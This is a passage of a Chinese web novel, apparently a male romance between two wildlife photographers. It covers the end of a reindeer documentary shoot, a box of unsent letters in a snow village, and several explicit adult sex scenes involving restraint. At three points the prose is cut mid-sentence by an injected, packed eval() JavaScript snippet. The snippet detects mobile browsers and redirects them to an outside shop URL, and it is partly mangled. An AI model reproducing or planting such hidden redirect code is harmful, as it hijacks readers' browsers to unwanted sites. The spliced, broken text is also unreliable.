热度不断地飙升,许藏甚至在那样寒冷的夜晚里,脊背上蓄满了汗,打湿了贴身的衣服。 许藏觉得自己的心跳声已经融入血脉,流转到各个边缘,乃至手指尖都在不停地鼓动。 他的眼睛瞬间被汹涌的情绪点亮,手臂如果不加抑制,只怕下一秒就会将阙与山收紧怀里不断收紧,直至将他融进自己的心脏中才能压抑那份悸动。 许藏缓缓地展开了自己的胳膊,期待阙与山发现他如雷震耳的秘密。 毛茸茸的脑袋很快埋在了自己的心口,那最澎湃的地方,像是台风卷过的海浪,疯狂地挑起山高,再拍打下来。 难说星辰闪烁几次,此刻镜头下的画面定格于此。 许藏面前只能看到繁星,却总是比不过那双灰蓝色的眼眸。 最终,他还是僵硬地轻轻环住了阙与山的身体,两只手相扣的一瞬间,指腹浅浅搭在腕子上就能被脉搏震得发麻。 阙与山不说话,许藏的嗓子发痒,只好故作镇定地询问探索者:“听到了吗?” 他那难以克制的、震耳欲聋的心跳。 阙与山将头埋得距离心口那样近,只有分毫,几乎与跳动的声音只隔着皮和肉。 明明很清晰的心跳,他却说没有。如此冰冷的两个字,像是凭空出现的冰锥一般,直直地刺入许藏的心口,将所有的热情和心意冻得结实。 不仅如此,阙与山很快就放了手,非常轻易地远离心跳,再僵硬地对他笑了笑。 许藏那时就想,原来并不是所有献祭给心脏的情愫,都能换来公平等量的星星。 那晚,像往常一样,十六岁的阙与山最后一次,在睡眠时无意识地挤入许藏的怀中。 无论睡眠是好是坏,在那个时候,许藏很难睡着,更何况他本身就有睡眠问题。 这一切都要归结于许藏的幼时。 他的父母将他们的一生贡献于摄影行业,诚然到如今依然有热爱他们的人。但是在许藏小时候,他们是可以随意抛下他,离家几个月甚至几年的人。 一开始,许藏被寄存在亲戚家时,总是很懂事。 他为了不让父母多心,在一次次假装睡觉时练就了炉火纯青的呼吸技术。 可是没几次,许藏就意识到,懂事是没用的,懂事不能改变被抛弃的事实,也不能扭转他害怕孤独的事实。 后来,他就坚持在父母半夜走时醒来,让他们带上自己,不要留他一个人在家。 他成了别人口中的累赘,却只是为了那点可怜的渴望被爱被关注的心理。 也许在借住的外人看来,许藏年纪轻轻便历经无数、走过许多地方。 但是,无人知晓,那样的左右逢源是以什么代价换来的。 然而,很神奇的是,许藏人生中第一次感觉被需要,是在和阙与山同床共枕的第三天。 他睡眠浅,醒得早,往日睡觉时习惯的“虾米”状防御姿态,被一个睡相不雅的小孩子打破。 阙与山的身体在不知不觉中,强行攻破了许藏的防御,挤进了他的怀里。 一觉醒来,莫名其妙抱了一个人,许藏愣了半晌。 还没等他有所动作,怀中的阙与山有要苏醒的迹象。 为了防止尴尬,以及保护小孩子的自尊心,许藏熟练自如地切换到睡觉时的呼吸频率。 他感受到阙与山动了一下,随后僵在了原地,像是不可置信一般,以这个依偎的姿势沉默了好久,呼吸都快停滞了。 阙与山先是从他的怀里爬出来,不知想到了什么,竟破罐子破摔地将许藏带进了他的怀里。 许藏闭着眼差点破功,最后给阙与山时间反应后,才悠悠地睁开眼睛,装作不可思议的模样:“我……” 彼时,阙与山根本不敢直视他,嘴里还硬要逞强,倒打一耙道:“就知道你没有安全感,我抱着你睡。” 许藏记得自己那天笑了很久,把阙与山的脸都笑红了,甚至到后面阙与山快速穿好衣服溜出了房间。 他才缓缓地停了笑,伸手在眼尾抹了一下,蹭掉了不知何时泛上来的水。 在雪村的一个多月,许藏默许了阙与山挤入他的睡眠。 他比阙与山睡得晚,比阙与山醒得早,一如既往地将这些多出来的时间,留在用目光描摹刻画阙与山上。 从雪村离开的那天早上,也是如此。 只不过,那是许藏唯一一次,推开在睡觉时如此“需要”自己的阙与山。 只因,阙与山好像格外讨厌他翻涌的心跳。 爱人时分外看运气,许藏的运气一直很烂,因此在阙与山这里碰了壁。 或许是因为,那些睡前醒后看向阙与山的时间特别长,导致他在许藏的心中一直难以磨灭。 许藏只能不断地克制自己的心跳,有意识地不让它外泄。 它跳得越来越轻,越来越淡。 尽管他的记忆都模糊了雪中的少年,心跳还是会为他一颤。 在秋城广播大楼,在四号播音室门口。 许藏曾想过,万一阙与山接受采访时,他正好可以看到。 谁承想,这样的小概率事件,居然真的落在了运气很烂的他身上。 于是,许藏自然而然地听到了阙与山的采访,听到了他说的那句“所有的不期而遇都是争取来的”。 他觉得还挺对,在心里蛊惑自己,去吧,拿上他遗落的镜头盖,去和阙与山不期而遇。 好在,属于许藏的镜头,终于捕捉到了阙与山的画面。 阙与山也终于,听到了他悸动的心跳。 耳边的心跳如擂鼓般,一下一下铿锵有力,甚至随着时间的流逝不断加速,震得阙与山发麻。 他的眼睫不自觉地颤动,手指放过了被子的折痕,伸手环上了许藏的腰。 阙与山闭了闭眼,声音发抖:“许藏,我听到了。” 许藏发自内心地笑了,他揉了揉阙与山的脑袋,从病床旁边撤离,一件件地穿上了自己的衣服。 阙与山坐在那里,直勾勾地盯着他,灰蓝色的眼睛时不时眨一下,不知在憋什么坏心思。 他伸手捏了捏许藏的指尖:“许藏,你亲了喝醉的我,但是清醒的我不知道。 “你不能厚此薄彼。” 他的语气竟然还带上了点委屈,许藏哭笑不得,没想到阙与山幼稚到硬是找了个茬,和自己吃醋。 许藏想了想,存了逗他的心思开口道:“你说的对,我也不能辜负发短信支持我来此的小粉丝,没有他,猴年马月才能听到阙老师的心声。” 不提还好,一提发短信,阙与山瞬间就想到许藏居然仅仅因为一条短信来拍摄纪录片。 他的脸瞬间黑下去了,手指却更用力地绞着许藏,像是怕被抛弃的小孩。 许藏的心情极佳,勾起嘴角:“阙与山,你怎么那么可爱,连自己的醋,都能同时吃两遍?” 阙与山一怔,脑子转了半天才意识到,许藏这话意思是他其实一早就知道那条短信是谁发的。 他作为短信主人,被拆穿的这一刻竟还有点尴尬,视线不自觉地错开,落在了许藏的耳朵上,很白很嫩,想咬。 “阙与山,想要什么就来抢,不必畏手畏脚。” 说罢,许藏往前迈了几步,倾身而来,空出来的手掐住阙与山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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老刘代电视台项目组来慰问过他的身体状况,李斐然也来看望过,彼时阙与山勾勾搭搭地正拽着许藏亲,被许藏拽开后还不依不舍地吻了几下他的指尖。 不过,相比于那天快将许藏强吻说成变态,这次的李斐然显然接受良好,面不改色地放下果篮,客套地问了几句。 阙与山还是从李斐然口中知道昏倒那天的事,他跌落在地,是许藏将他拽到了后背上。 那天雨很大,坡下的河都被泥石流浸染,许藏只能背着他,打了老刘的电话,一路走到沉霭河谷的入口,背他下山送他上车到医院。 李斐然曾提过,若是许藏坚持不住,可以换他来,但是许藏只是沉默地摇头,咬着牙将他背下了山。 后来老刘也想帮忙,许藏虚弱的声音险些淹没在大雨中,他还是摇了摇头,拒绝了。 李斐然说,许藏明明看着下一秒就要倒地,却硬生生地脚下生风般,又稳又快地将他背下了山。 好在够快,没有耽误救治。 阙与山听完,在当晚拆了针后,将许藏抱上了自己的病床,面对面身贴身地艰难挤在如此小的床上。 他的胳膊将许藏彻底环住,按向自己,明明是一个强势的姿势,却因他埋在许藏脖颈处不断磨蹭而变得依赖。 “许藏,许藏,许藏……” 阙与山不知道自己喊了多少声许藏,他喊一次就要在许藏的唇上亲一次。 到最后,许藏的唇都肿了,他好像才满意地笑了笑:“我好喜欢你,特别喜欢,最最喜欢,超级喜欢…… “吻你的我,比不吻的,还要喜欢你三分。抱你的我,比不抱的,还要喜欢你三分。今日的我,比昨日的,还要喜欢你三分。拥有你的我,比没拥有的,还要喜欢三分。 “总之,现在的我,比过去的,只会翻倍喜欢你。未来的我……” 许藏受不了阙与山磨磨唧唧的无营养长篇大论,伸手掐了掐他的脸:“好傻的小狗。” 说完,他就勾住阙与山的脖子,吻了上去。 31. 一枪双响 “驯鹿北迁”纪录片拍摄工作因阙与山住院耽误了不少时间,待到他休养好重新回到岗位上时,驯鹿群已经在长达数百公里的沉霭河谷中行进过半了。 阙与山再没时间大量的时间赖在许藏身上,只能加紧时间补拍驯鹿在沉霭河谷的日常生活,以及沉霭河谷的相关景象。 他们最终决定启用充气皮划艇,顺着河水而行,一路拍摄沉霭河谷两岸,最终追上驯鹿群。 当可以容纳无人的皮划艇被撑开时,东西率先被均与地放到了角落,阙与山歪歪扭扭地爬了上去。 许藏看着这副场景,沉默了一秒,没有选择跟着上去,而是真诚发问:“阙与山,你划过皮划艇吗?” 阙与山艰难地转过身,直直地看着许藏,约莫两三秒后,他突然开口说:“在游戏里划过算吗?” 随后,阙与山看到许藏似乎嘴角一抽,却依然老老实实地爬上皮划艇,但又死死抓住扶手的模样,不禁笑了笑:“骗你的,我可是专业的。” “二位打情骂俏完了吗?我可以上来了吗?”李斐然面无表情地说道。 三人坐上皮划艇,顺流向北。经过十几日前的泥石流,河底的泥沙又厚了不少,流速不算慢。 仰赖阙与山控制皮划艇的方向,才不致他们撞上河中巨石。 等到平缓的河段,阙与山将操控的位置让给了李斐然,然后架起相机,和许藏一起拍摄沉霭河谷两岸,峭壁上的山羊、北上的候鸟、石头缝中开出的无名花等等,以及经过大自然鬼斧神工的雕琢后留下的蜿蜒山坡、泥石流灾害凿出的创伤。 比驯鹿群先到的是它们迁徙时踩下的深重脚印,有的痕迹被反复挤压,有的则能完整地展现一只成年驯鹿的足迹,它们在泥石流经过的黝黑土壤上徒出绚丽的画面,播下新的生机。 遥遥追上驯鹿群时,阙与山看到旁边有一条古河床,他从皮划艇上下来,记录下岩石层中的古生物化石。 他们跟随驯鹿群穿过沉霭河谷,路过偌大的蔚蓝湖泊,掬起过冰凉的湖水,轻拂过雪白的碎冰,走过风吹的旷野,最终到达驯鹿的繁衍地,它们会在此啃食地衣苔藓,与候鸟一起孵化幼崽。 “驯鹿北迁”纪录片的拍摄工作基本上结束,离开前的最后一晚,他们在屋子里喝起了热酒,感慨自然的精妙绝伦。 老刘似乎为了能够结束工作回家照看女儿异常开心,天南海北地拉着剩下三个人聊天,很快就醉了,李斐然无奈地笑了笑,自觉起身将老刘搀扶起来,带回了房间。 一瓶酒的大半都进了老刘的肚子,所以阙与山没机会醉,只是他眼看着许藏又温上了一壶,不禁皱了皱眉,劝道:“许藏,你的酒量不好,别喝了,醉了很难受的。” 许藏绕开了阙与山伸过来试图阻挡的手,给自己斟满后一饮而尽,举着空杯子似挑衅般笑了笑:“好笨啊阙与山,我从来就没有醉过。在玉琼雪林喊的小狗不是别人,只会是你。 “我今晚很清醒,明早也不会翻脸不认人,要试一下吗?” 阙与山有那么一瞬间,觉得许藏口中的这个“试”字,和逐青林山顶的“邀请”有异曲同工之妙。 到底是试试他会不会喝醉,还是其他更多的邀请,阙与山不知道。 但是他拭目以待,手指收了回来,在温热的炉子边缘轻轻敲击,等待猎物入笼。 许藏一杯接着一杯喝着,一双漆黑的眼从清澈到含水,阙与山炙热的目光烧红了他的眼尾。 他将一壶酒饮完,倒扣下来按在炉子上,轻轻地挑了一下眉,湿润的唇微微勾起。 像阙与山和许昌这样曾常年行走室外的人来说,从冷到热的转换是常态。 通常在冰天雪地中待的时间过久,进到温暖的屋子里时,皮肤像是被血液里燃起的火从内而外地灼烧。 那种灼热很难消除,只能无视或者找到更加冰冷的东西触碰缓解。房间门被猛地关上发出声响,随后又一声闷响,是身体碰撞到了门,不断地被外力挤压,最终身体夹在人和门之间。 门已经充当不了缓解灼热的解药,冰凉的衣服在摩挲间不断升温。 许藏的手抓在阙与山的肩膀上推了推,呼吸交缠间哑着嗓子说了一句:“去浴室。” 淋浴间内兜头浇下的温水,比体温低了好几度,落在灼热的皮肤上,不禁让人下意识发颤。 打湿了的衣料贴在身体上很难扯下来,阙与山的手指在许藏衣领的扣子上打滑了好几次。 许藏眼看着他急得伸手想扯又扯不开,身体微微后仰,脑袋枕在沾满水汽的瓷砖上,松开了挂在他肩膀上的手,调笑道:“怎么连衣服也解不开?” 阙与山的额发早已被温水沾湿,弯曲地贴着皮肤。 他闻言眨了眨眼,灰蓝色的眸子盛着星河般的光,伸手抓着许藏的两只手,一只按向领口的扣子,一只带向自己的下方。 他俯身将脑袋凑在许藏的耳侧,轻轻呼气:“哥哥,帮我。” 许藏的呼吸一窒,耳后的皮肤几乎瞬间战栗起来。 他漆黑的眼睛眯了眯,没有跟着阙与山的指引去挑开扣子、解开拉链,而是若有所思地点了点头,调侃道:“阙与山,我怎么记得就在不久前,玉琼雪林上,你曾许愿说,你恨我,我们不要再见面了。 “到逐青林,你又说我们是仇人。我们不是老死不相往来的宿敌吗?你现在又是做什么呢?” “愿望说出来就不灵了。”阙与山讨了个巧,说话间也不忘手中的动作,几乎是几秒间,就将许藏的扣子解开了三个,顺手一扯露出许藏整个肩膀以及大片白皙。 他也不客气,一口咬在了许藏的肩头,用齿尖轻轻地磨,囫囵道:“明明是你先不辞而别两次的,还不直接回答小狗是谁。” 许藏无奈地笑了,不知阙与山为什么对小狗这个称呼占有欲那么强烈。 额发上的水珠滑落到眼睫上,他眨眨眼,又一次地重申道:“只有你当年跟狼站在一起,桀骜不驯又凶的眼睛,却傻乎乎得像只小狗,一直都是你。” 阙与山蓦地伸出一只手擒住许藏的腰,另一只手绕到他的脑后垫着,凶狠地吻了上去,挑开唇缝长驱直入,在其中搜剿许藏仅有的空气,让他因自己而眼中盛满生理泪水、控制不住地顺着眼角滑落。 急切的动作逼得受不住的许藏轻轻推搡,只为在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233901|197646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阙与山放松的几秒中快速呼吸。 阙与山索吻的时候也像只凶狠的狼,咬住猎物不到对方窒息不松口。 许藏感觉自己就像是被牙齿叼住喉管的猎物,下一秒就要被剥夺所有空气陷入脑袋发蒙的状态。 瓷砖已经支撑不住他下滑的身体,阙与山见状,将一条腿往前抵住瓷砖,在许藏两条腿的中间,向上托住他,防止他掉落。 阙与山只找到了面霜,在许藏的默许下,边吻着他有些失神的眼睛,边取面霜揉他。 炙热的雪海纳百川,渐渐地令指节在其中留下痕迹。 许藏缓过神来,动了几下那条挂在阙与山的腰上、有些僵硬的腿,挪到一个较为舒适的位置。 他不知道想到了什么,突然哑着嗓子发问:“你是不是故意将我拐来纪录片?” 阙与山为惩罚他不专心,手指在雪里转了几下,引来抽气声后才亲了许藏的嘴角,没舍得下口,辗转咬在了他的下颌上。 “许藏,这是第一次,你不能走神。” 许藏的脑子暂时被体温灼得有点宕机,闻言睁睁眼睛,诧异道:“一次不行吗?明早还要启程,会死的。” “不会让你死,只会让你,爽。”阙与山边亲许藏的脸侧,边在说出“爽”字时加一根手指。 看在许藏蹙眉却依然乖顺的份上,他顺道勉为其难地回答了这个问题:“好吧,我承认。 “从一开始,我就想用纪录片困住你,捆住你,让你以后的工作只能和我绑定在一起。” 既能完成许藏摄影的梦想,又能将时间拖到又一春开花、带许藏回玉琼雪林,运气好的话以后还能绑定他一起拍摄。 纪录片的提议简直一箭三雕,何乐而不为。 手指在厚雪上不断辗转、抓挠、按压,留下罪证,体温暖化了一部分雪,雪水顺着指节的线条滑了出来,在掌心处渐渐积起一滩雪水。 许藏从一开始的时不时抽气,转变成时不时闷哼,从始至终未变的是蹙着的眉。 他觉得这感觉有点奇怪,像是陡然被抛上了半空中,以为自己要瞬间掉落,却被不上不下地吊在中间,不知惩罚什么时候才会落下。 终于,阙与山抽走了许藏浮在半空中的隐藏助力,他的心脏猛地一跳,不断从高空坠落。 下一刻,却被面积更加大的东西,抛到更高的位置,卡在那里,慢慢转身,似乎能感受到眼前微微一白。 炙热的雪被戳出黝黑的通道,顶层的浮雪不断被抖落,在烘烤下变成涓涓细流。 只是雪水似乎并不纯粹,因为重力的冲荡,激起浪花般的白沫。 阙与山将许藏的另一条腿也挂了上来,面对面托起他,扣着他的背,按着他的后颈。 让十四年前从天而降的神子,只为自己低头,只为自己沉沦。 阙与山终于松开了红肿的唇,灰蓝色的眸子深如夜空,他平复着喘息,感受那些干净的雪水被弄脏,顺着交缠的地方滑落,被淋浴间的水冲刷。 他仰着头,凝望沾满欲的神子,神色疯狂地按着神子下落,在极致低吟中报复地开口道:“许藏,滴水之仇,当涌泉相报。” 32. 百分百 许藏的三十三岁生日,因为纪录片的拍摄工作暂时搁置了。 向秋城电视台交付所有纪录片相关资料后,阙与山打算弥补许藏的生日,许藏也正有弥补他的意思,于是将在广播电台存下的五年年假一下子请了出来。 好在电视台纪录片项目组从中周旋,此次假期才如此顺利。 阙与山问许藏想去哪里的时候,许藏不假思索地回答苍城雪村,他说有一份积攒多年的礼物要送给阙与山。 两个人在五月中旬再次回到最开始的地方,出乎阙与山的意料,许藏居然对雪村轻车熟路,带着他在荒弃的村子里七拐八绕,来到了一处院子门口。 阙与山打量贴在门口的红色春联,褪色并不明显,推测应是有人常住于此。 只是,他每年过年时,回雪村时只觉得它萧条,从来没有碰到还住在这里的人。 许是看出了他的疑虑,许藏边敲门边解释道:“六年前冬天,我回国操办父母的丧事后,来到了雪村。没想到它竟被荒废了,整村搬走不知去处。仅剩李伯念旧,依然留守在此。” “你六年前回来过?”阙与山怔愣地问道。 许藏背着他,点点头,感慨道:“十室九空,蜘蛛网哪里都是。阙与山,我和你唯一的联系,就在那时候断了。” 话音刚落,破旧的木门被人从内部拉开,发出刺耳的吱呦声音。 半头白发的人探了半个身体出来,看到许藏后彻底拉开了门,苍老的声音响起:“你来了?” “李伯,我来取信。”许藏打了个招呼,带着阙与山跟李伯往院子里走,进了一个整齐的杂物间。 李伯将一个架子上放着的箱搬了出来,拍了拍顶上的灰,灰翳的眼睛在许藏和阙与山身上转了几次,最后是阙与山上前一步将箱子接了过来。 李伯几下便看明白了,了然地说道:“这些信是你寄给他的吧?” 阙与山抱着箱子不好动作,只能来得及惊讶地说道:“我?” “嗯。”李伯看了看许藏,见他没有阻拦的意思,便做了个顺水人情,解释道,“小许曾说他有一个朋友在雪村住,因为这里荒废,他就找不到那位朋友了,只能每年不定期给朋友的地址寄信。 “可是这里早就没人了,自然没有人会收他的信。以前通讯很慢,联系只能仰仗书信,那么多封信如果在信箱里腐朽,尘封的情谊就永远没有再现之日,于是我代收起来,想着若是有朝一日,小许能够于茫茫人海中找到朋友,它们便不会被辜负。” 阙与山抱着箱子,和许藏一起,回了家。 箱子有些重量,打开后满满的都是信封,纷纷扬扬似雪一般。 阙与山不敢置信,这些竟然全都是许藏写给自己的,他甚至到现在脑子还是懵得,下意识地看向一旁的许藏,怔愣地问道:“许藏,这信……” “国外的信飘向国内,太容易葬身大海。它们不会了,它们只会暂时隐匿。”许藏看着那一箱的信封,笑了笑,“阙与山,它们像我一样,想被你看见。” 阙与山傻傻地抓起几封,看到上面贴着不同风景的邮票,盖着迥异的火漆,没有写寄信人、也没有寄信地址,只有“阙与山收”几个字,像是许藏亲自到他家门口扔进信箱那般。 他随便拆开一封,展开信纸,熟悉的字体引入眼帘。 “亲爱的阙与山老师、最棒的摄影师先生 “展信安康,近日天气反复多变,及时关注,切勿生病。 “祝好,期待回复” 很短的几行字,甚至信件内容还不如加起来的敬语字数多,像是熟络的朋友在大街上偶然遇见时的客气话。 没有时间、没有署名,阙与山抿了下嘴,又连着拆了几封。 “亲爱的阙与山老师、最棒的摄影师先生 “见字如晤,听闻你即将踏上新的摄影之旅,由衷地表达我的喜悦和仰慕 “祝顺利,期待回复” “亲爱的阙与山老师、最棒的摄影师先生 “久慕芳范,《破金》获奖之时,我为此松了一口气。若能闻名于众,想必你会快乐一点,过得轻松一些。 “祝长青,期待回复” “亲爱的阙与山老师、最棒的摄影师先生 “久违芝宇,近来忧思过重,常常失眠,希望你能睡个好觉。 “祝舒颜,期待回复” 全是粉丝的口吻写下的信,阙与山猛地想起他和许藏一起参加双人采访时,许藏对他的摄影作品侃侃而谈,访谈者曾问许藏有没有给他寄过手写信,彼时许藏笑而不语。 那个未尽的答案,阙与山在这个箱子里找到了答案。 信封似雪,里面的思念也像雪,与雪村的雪一起,落在了阙与山的家门口。 阙与山看了好久,打破沉默问出了一个困扰已久的问题:“许藏,我的寄信地址是公开的,既然是手写信,为什么不直接填那个地址?” 许藏写下这些信的时候,曾想过,自己从阙与山籍籍无名的时候就开始寄信,概率会不会大一点。 后来阙与山因《破金》和《可怜星俱灭》先后得奖,他又想,寄的信多了,被回复的概率会不会大一点。 事实上,许藏知道,阙与山给出的寄信地址和苍城雪村不一样。 但是,他不想要别人的大摄影师,不想要自己的自尊寄给阙与山,被他可能存在的前任或是现任践踏,不想成为别人茶余饭后的谈资。 他只是,固执地想要自己的小狗。 所以,当许藏将数百封信投往雪村时,就注定被回复的概率只有两个结果。 零,或者百分百。 就像阙与山会珍重地存好那张写着“今日有雪,概率百分百”的纸条一样,许藏也想要从多如雪般的信件中,得到百分百的概率。 他要阙与山百分百属于自己。 “阙与山,我只要雪村的你。”许藏执拗地说道。 突然,那扇破窗被敲了几下,一个鼻子将它拱了起来,嘴巴松开,放下一朵小白花。 许藏看到后,走了几步,将窗子支了起来,看到了它的全貌,他惊奇地唤道:“敖乌?” 尽管它和许藏已经十四年未见,但就像它永远会在阙与山来时递上小白花一样,埋藏在深处的记忆被唤起时,它依然会呜咽地用鼻子在窗边的许藏周围嗅几下。 敖乌虽然行至晚年,快要走到生命尽头,但它的那双眼睛却格外地清亮。 许藏看了几眼,一下子回想起他第一次见到阙与山时的场景。 在阙与山家里撞见,其实是许藏见他的第二面,只是阙与山自己不知道。 十四年前,许藏跟随父母,趁着小雪时上山进了雪村。 他举着望远镜看向远处的落日和连绵的山脉时,镜头不经意间一转,落到了最近山顶上,一棵云杉旁站在一人一狼。 在落日的余晖照映下,其他皆黯然失色,唯独阙与山的眼睛很亮,浅灰蓝的眸色是那片橘红中,唯一的不同。 许藏承认自己当时一瞬间就被那双眼睛吸了进去,透过望远镜看阙与山时,就像希区柯克变焦一般,无论背景如何改变,主体永远被他注视着。 他没能得逞多久,因为阙与山好像敏锐地捕捉到了不怀好意的视线,蹙了蹙眉,和那头狼一起离开了山顶。 趁着父母拍摄的间隙,许藏快速地打听到了阙与山家在哪,而后带着父母借住到了阙与山的家中。 想到自己当年的居心叵测,许藏不免笑出了声,在敖乌的脑袋上拍了拍,等它走后转过身看向阙与山,煞有介事地说道:“我想起来,第一次来雪村时,看到一个很漂亮的小孩。” 阙与山正在捏着那朵小白花盯着看,闻言猛地抬起头,三两步将许藏挤在窗台前面,掐着他的下颌转向自己,将小白花别到许藏的发间,眯了眯眼睛:“谁?” 他这个字颇有咬牙切齿的味道,许藏忍了几下,脑袋微微后仰又被阙与山拦腰抓了回去,不免存了心思,逗他道:“嗯,我想想。 “他的头发脏脏的,衣服也脏脏的,但是脸长得还不错。” 事实上,十四年前,许藏借住的第一晚,他拿着毛巾沾了热水将阙与山的脸擦洗干净后,才偶然发现这个浅灰蓝色眼睛的小男孩长得还不错。 阙与山身上的醋味儿将许藏环了起来,他将许藏的两只手反在身后,俯身凑到他的领口处,埋进去张口在锁骨上的牙印处补了一下。 许藏痛得想要躲开,却又被禁锢在原地,不得不将谜底绕回来:“他的眼睛很漂亮,是浅灰蓝色的。” 阙与山的动作一顿,半张脸还埋在许藏的脖颈处,听到他的声音闷闷地传来:“阙与山,不要相信那些流言蜚语,你的眼睛很美。” 十四年前,许藏仅仅在雪村待了一个多月,就听到非常多有关于阙与山的污言秽语。 他当时揣着一包糖,出门打听时,不止是父母授意要跟他们搞好关系,方便熟悉雪村地形,更多的是了解阙与山的事情。 阙与山总是无声的、寂静的、孤独的,许藏想引他多说话,想让他将那些脏东西抛之脑后,想给他讲很多外面的世界,让阙与山对出去充满希望。 许是雪村阴天过多,将阙与山也染成了那样。 许藏不想让他被黯然失色的东西同化,想让他做光亮的余晖。 许藏伸手揉了揉阙与山的脑袋,看到角落的墙上还残存着当年他给阙与山量身高的刻画痕迹,不禁笑道:“你看,十四年前你还没有我高,看起来像只小狗,没想到还是长这么大了。 “阙与山,你有好好地长成大人,好好地被大家熟知。” 好好地成为余晖。 许藏从口袋里抓出一串东西,拎到了阙与山的面前,介绍道:“这是奖励你的礼物。” 那串东西碰撞在一起,发出空灵的声音,是阙与山熟悉得不能再熟悉的果木壳。 只是许藏手中的这串,个头更小一点,也就比大拇指大一圈,被绳子连接起来共有十颗,侧边都一条细小的缝。 许藏解释道:“时间匆忙,不能亲自上山给你找了,只能托人寻来一串,还没想好做什么装饰,难题留给你了。” 阙与山伸手取过那串新的果木壳,从许藏的下颌吻到嘴角:“我也有一份,晚了十年的礼物。” 他带着许藏找到了当年存放摄影照片的箱子,将它们展现给许藏,一张张地讲述,并许诺接下来的假期会带许藏去看。 许藏坐在床上,听阙与山讲得天花乱坠,突然打断他开口道:“阙与山,你想知道在玉琼雪林停电那晚,我说了什么吗?” 阙与山停顿了一下,将照片扔回了箱子里,踢到了一边,手撑在许藏两侧,问道:“说了什么?” “阙与山,我想你。”许藏勾了勾嘴角,抓住他的领子往自己这边带,堵上了他想要说什么的唇。 纠缠间,衣服散落在床上,许藏还剩两件上衣时,被阙与山拽了起来,跌跌撞撞地被带向窗边的桌子旁。 阙与山吻得很凶,一只手拦着他的腰,另一只手不知在桌子里找什么。 好像有东西被拍到了桌子上,许藏的空气被汲取殆尽。 下一秒,阙与山松开了他,还没等他缓过劲,就被翻了个面,脊背临着滚烫的胸膛。 阙与山的手从后往前扣在许藏的肚子上,下巴凑在许藏的颈侧,喘着说道:“许藏,我十四年没收到你的信,你现在给我写,好不好?” 许藏还在因缺氧失神的时候,手中就被塞进了一根笔,桌子上摆着几张纸。 阙与山咬住了他的耳垂,哄骗道:“我帮你做点措施,不然会弄湿书信的。” 阙与山一手撩起许藏的衣摆,带着点强制意味地塞进许藏的口中,嘴上还不落下风:“不能说话,就不可以拒绝我了。” 他又从不知哪找来了一条系东西的麻绳,伴随着许藏的闷哼,捆在了他的前端。 许藏的手抖得厉害,半天写不出一封信的开头。 阙与山似乎在他的耳边笑了笑,警告道:“不能消极怠工,不然会有惩罚。” 阙与山的唇不停地在许藏的耳朵脸侧磨蹭,一双手比他还要忙,顺着被撩开的衣摆,用指腹揉着,掐上许藏的心口,随后满意地看到许藏的字写歪了。 他的另一只手,从绷得很紧的衣料中,慢慢地寻到了许藏肩头的那颗痣,抚摸着上面的印子。 几分钟过去,许藏被阙与山干扰得,连信件开头的“亲”字都没有写完。 阙与山叹了一口气,似乎很不满意许藏的不配合,又无可奈何地凑在许藏的耳畔道:“哥哥,看来不鞭策你,你是不会给我写信了。” 他从口袋里抓出那串刚刚收到的果木壳礼物,混着瓶子里的液体,将绳子上第一颗果木壳,缓缓地按进了雪中。 果木壳不仅形状不规律,引得许藏发颤,就连那条细缝都像是能随时取人性命、将人扔到它生长的山顶。 许藏感受到了它的厉害,指节泛白,握紧了手中的笔,摇了摇头,被汗沾湿的额发甩出几滴水珠落在纸上。 “怎么能把给我的信,弄湿呢?”阙与山好似生气般,将果木壳的位置往里推了推,按在了突兀的点上,接着又将绳子上的第二颗果木壳也推进雪里。 许藏克制地咬着衣摆,眼前好似看到了雪,那样洁白,看多了让人炫目失神,又像是置身在白日沙漠中,灼热得全是汗,差点抓不住笔。 他被堵住的口中,盛不住的涎水浸入了衣料中,被它吸纳。 阙与山美名其曰防止他感冒,实际上那只手在许藏的身前不断作恶,甚至向下,在前端绑着的麻绳附近不断扰乱,感受手中的东西如海绵吸水一般长大。 许藏艰难地将书信开头那句“亲爱的阙与山”几个字写下来时,那串果木壳,一根绳子上十颗小东西全被阙与山恶劣地放在了一起,挤压着难受的点。 阙与山还要到许藏的耳边炫耀自己的战绩,换着亲切的称呼凑近道:“宝宝,你好厉害,不仅写了这么多字,还吃下了十颗果木壳。” 雪似乎很深,阙与山将挤在一起的十颗果木壳分开,依次顺着往雪的里面推,不断地旋转它,听到许藏绷不住的声音后,才满意地调动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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阙与山看着纸上那句“我喜欢你”,非但没有信守承诺,反而凶狠地敲击那串果木壳,将雪里的空间不断地扩展。 这场单方面的欺负,持续了很长时间。 许藏只能后仰着,依靠阙与山的支撑才不会倒地,他的脑袋仰靠在阙与山的颈侧,闷哑的声音从衣摆团中发出,像是在向胜利者求饶:“前面……” 许藏的手,腿,还有前端,都在抖。 阙与山扣住他的脖子,大发慈悲地将那根捆在前端的麻绳解开扔在一边,随后按上许藏的肚子,侧过头哑着嗓子问:“感受到了吗?” 许藏几乎快要无意识,听到他这句话,但是总觉得那道声音很远,像是濒死过一次般,微微抽搐。 最后,阙与山抱着许藏去洗澡,桌子上只留下那张皱巴巴的信纸,边缘被白色的东西沾上。 果木壳掉落在地,被水冲刷着,细缝落出白色的东西。 许藏失焦的眼睛慢慢地缓了过来,看着面前的阙与山,哑不成声地道:“阙与山,我喜欢你。” 阙与山的手一顿,看向许藏的灰蓝色眸子蕴藏着风暴,他的声音低沉:“宝宝,怎么又勾我?” 